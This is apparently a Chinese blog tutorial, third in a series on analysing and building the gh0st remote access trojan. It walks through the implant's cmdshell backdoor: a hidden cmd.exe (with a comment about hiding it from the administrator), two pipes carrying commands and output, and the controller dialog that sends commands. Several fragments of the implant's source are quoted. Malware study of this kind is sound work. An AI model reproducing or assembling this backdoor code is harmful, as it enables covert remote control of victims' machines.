? ? 好久不見。距離上次寫gh0st來有好久了,一是期末考試,忙不開,二是后來電腦壞了,幾天沒能上網。
? ? 昨天總算是把電腦修好了,雖說沒到一切重頭開始的地步,但是也重裝各種東西花了很久。閑下來的時間,我就來繼續分析gh0st的源碼吧。
? ? 上次我們把gh0st的上線給研究了一下,跟著老狼的視頻,繼續我們的步伐。開始實現gh0st中具體的功能。最簡單的一個是“終端管理”,就是一個cmdshell。
? ? 什么是cmdshell,相當于是一個cmd命令行的后門,我在主控端中寫下cmd命令,然后傳給被控端,被控端執行后將結果再發給主控端。
? ? 這是整個遠控中比較簡單的部分,我們從被控端開始看起:(源碼在附件中可以下載)
? ? 在MainDll工程中,打開類視圖,找到CShellManager這個類,這就是我們“終端管理”功能用到的類。
? ? 在看代碼之前,我先說一下cmdshell的原理。為什么我們這個程序能執行cmd命令并且把執行結果得到并返回。這里用到管道技術,管道是為了進程間通信而存在的,如下圖:
????
? ? 我們在gh0st進程中,開啟一個cmd進程,并使用管道,向cmd.exe傳送信息,而cmd.exe也利用管道將信息發送給gh0st的進程。管道通信又分三種,雙管道、單管道與無管道。gh0st里面用的雙管道后門,也就是說,我們在gh0st.exe和cmd.exe之間建立了兩根傳輸數據的管道,原因可想而知:a管道接受gh0st的命令,并發送給cmd,b管道接受cmd的執行結果,并發送給gh0st。
? ? 理解了這個就方便了。首先看到它的構造函數:
| 01 | if?(!CreatePipe(&m_hReadPipeShell, &m_hWritePipeDll, &sa, 0))?//該管道為程序寫,cmd讀 |
| 03 | ????CloseHandle(m_hReadPipeShell); |
| 04 | ????CloseHandle(m_hWritePipeDll); |
| 08 | if?(!CreatePipe(&m_hReadPipeDll, &m_hWritePipeShell, &sa, 0))?//該管道為cmd寫,程序讀 |
| 10 | ????CloseHandle(m_hReadPipeDll); |
| 11 | ????CloseHandle(m_hWritePipeShell); |
? ? 創建了兩根管道,使用的API就是CreatePipe,m_hReadPipeShell其實就是一個句柄。CreatePipe這個API前兩個參數是該管道的讀句柄和寫句柄。讀句柄就是該管道的入口,寫句柄就是該管道的出口。管道這個名字很恰當,就像一根管子,數據從一個方向流入,從另一個方向流出。
? ? sa是安全屬性的一個結構,沒有太大作用,初始化一下傳入地址進去就行了。
? ? 再往下看,
| 03 | si.cb =?sizeof(STARTUPINFO); |
| 04 | si.wShowWindow = SW_HIDE;??//將進程屬性設置為隱藏,否則cmd一打開管理員就看到了 |
| 05 | si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; |
| 06 | si.hStdInput = m_hReadPipeShell;?//將cmd讀、寫句柄賦值給該參數 |
| 07 | si.hStdOutput = m_hWritePipeShell; |
| 08 | si.hStdError = m_hWritePipeShell; |
| 10 | GetSystemDirectoryA(szShellPath, MAX_PATH); |
| 11 | strcat_s(szShellPath, MAX_PATH,?"\\cmd.exe"); |
| 13 | if?(!CreateProcess(szShellPath, NULL, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS, NULL, NULL, &si, &pi)) |
| 15 | ????CloseHandle(m_hReadPipeDll); |
| 16 | ????CloseHandle(m_hWritePipeDll); |
| 17 | ????CloseHandle(m_hReadPipeShell); |
| 18 | ????CloseHandle(m_hWritePipeShell); |
? ? 這部分實際上是在創建一個進程。創建cmd進程,使用的函數是CreateProccess,在創建進程之前,首先要設置一下該進程的屬性(使用到STARTUPINFO結構,)。GetStartupInfo(&si)就是獲取本進程的屬性。相當于用本進程的屬性初始化了cmd進程的屬性,然后再改一改,看看注釋就知道了。
? ? 到此,創建了一個進程(cmd.exe)和兩根管道了。然后我們可以看到,被控端執行了這一條命令:Send((LPBYTE)&bToken, 1); 發送了這個參數:TOKEN_SHELL_START給主控端。這就告訴主控端,一切就緒,可以開始使用了。
? ? 之后打開兩個線程,一個是讀取管道數據,一個是等待管道關閉。
? ? 看到讀取管道數據的線程,主要內容是一個死循環:
| 04 | ????while?(PeekNamedPipe(pThis->m_hReadPipeDll, ReadBuffer,?sizeof(ReadBuffer), |
| 05 | ????????&ByteRead, &TotalByteAvail, NULL)) |
| 07 | ????????if?(ByteRead <= 0) |
| 11 | ????????ZeroMemory(&ByteRead,?sizeof(ByteRead)); |
| 12 | ????????LPBYTE?lpBuffer = (LPBYTE)LocalAlloc(LPTR, TotalByteAvail);//LocalAlloc函數從堆中分配指定大小的區域 |
| 14 | ????????ReadFile(pThis->m_hReadPipeDll, lpBuffer, TotalByteAvail, &ByteRead, NULL); |
| 16 | ????????pThis->Send(lpBuffer, TotalByteAvail); |
| 17 | ????????LocalFree(lpBuffer); |
? ? 其中用到PeekNamedPipe這個API,它的作用就是向管道中看一眼,如果有數據則返回True,如果沒有則返回FALSE。也就是說,如果沒有數據,這個線程就一直在外部那個循環中,不停sleep。直到有數據就進入內部循環。ByteRead是數據的大小,如果它為0則表示cmd.exe已經關閉了,就break然后退到外層循環,再一直sleep。如果有內容我們就使用ReadFile讀取管道中內容,并Send到主控端去。
? ? 說到這里,有些人就要問了。你只說了怎么從管道里讀取內容發送給主控端,但我們被控端怎么從主控端接收內容并發送給管道呢?
? ? 上節課最后我們說了,“OnReceive函數在CManager中定義,但并未實現”。我們在這個文件中搜索一個OnRecieve,發現了它的實現:
| 01 | void?CShellManager::OnReceive(LPBYTE?lpBuffer,?UINT?nSize) |
| 03 | ????if?(nSize == 1 && lpBuffer[0] == COMMAND_NEXT) |
| 05 | ????????NotifyDialogIsOpen(); |
| 10 | ????unsigned?long?ByteWrite; |
| 11 | ????WriteFile(m_hWritePipeDll, lpBuffer, nSize, &ByteWrite, NULL); |
? ? 這就是面向對象的思想。我們所有的CXXXManager其實都是繼承的CManeger,而CManager中有這個函數,不過是一個虛函數,沒有具體代碼。而在我們每個的CXXXManager具體類中,就將其實現。
? ? 我們看看其代碼。實際上是判斷傳進來的消息,如果是COMMAND_NEXT,說明主控端執行完畢,被控端執行下一步。如果不是COMMAND_NEXT,說明發送來的信息是數據(命令)。我們就將發來的信息傳入管道。
? ? 被控端大致就是這些,我們再看主控端。主控端的一些界面的代碼我就不講了,大家有興趣可以自己看看。
????
? ? 主控端是這樣一個思路。首先,用戶點擊“終端管理”的按鈕,然后主控端向被控端發送一條消息,告訴被控端開始終端管理工作,然后被控端新建一個CShellManager類,在類的構造函數里創建兩個管道和一個cmd進程。并在最后發送一個TOKEN_SHELL_START命令給主控端(還記得嗎?),主控端接受到此命令后,便建立一個CShellDlg類,并打開相應對話框。
????在類視圖中找到CShellDlg這個類,這就是我們的遠程管理窗口的類。我們看到其構造函數中發送了一個COMMAND_NEXT給被控端,還記得我們剛才看的OnReceive函數嗎,那個if語句就是處理這個消息。就是告訴被控端,一切就緒。
????我們再打開CPhRemoteDlg類,找到其中的ProccessReceiveComplete函數,其中有一段:
| 2 | ????((CShellDlg *)dlg)->OnReceiveComplete(); |
? ? 就是調用了CShellDlg類中的OnRecieveComplete方法,意思就是接收到信息就調用這個方法。
? ? 找到這個方法,實際上就是將從socket接受的信息放入編輯框。
? ? 再看到PreTranslateMessage方法,它截獲一些消息,包括了按鍵的消息。注釋寫的很詳細,其實就是,當用戶按下回車時,將編輯框中所有文本都保存在字符串中,并減去上一次的長度,得到用戶新輸入的長內容,作為命令,發送出去。
? ? 其實主體內容就這么多,所以說cmdshell是gh0st中比較簡單的部分了。大家看了這篇文章,大概就知道gh0st源碼的一個運行過程了。其他的功能其實發送信息的過程也類似,互相確認一下執行是否成功,并開始發送、接收信息。
總結
以上是生活随笔為你收集整理的gh0st源码分析与远控的编写(三)的全部內容,希望文章能夠幫你解決所遇到的問題。
如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。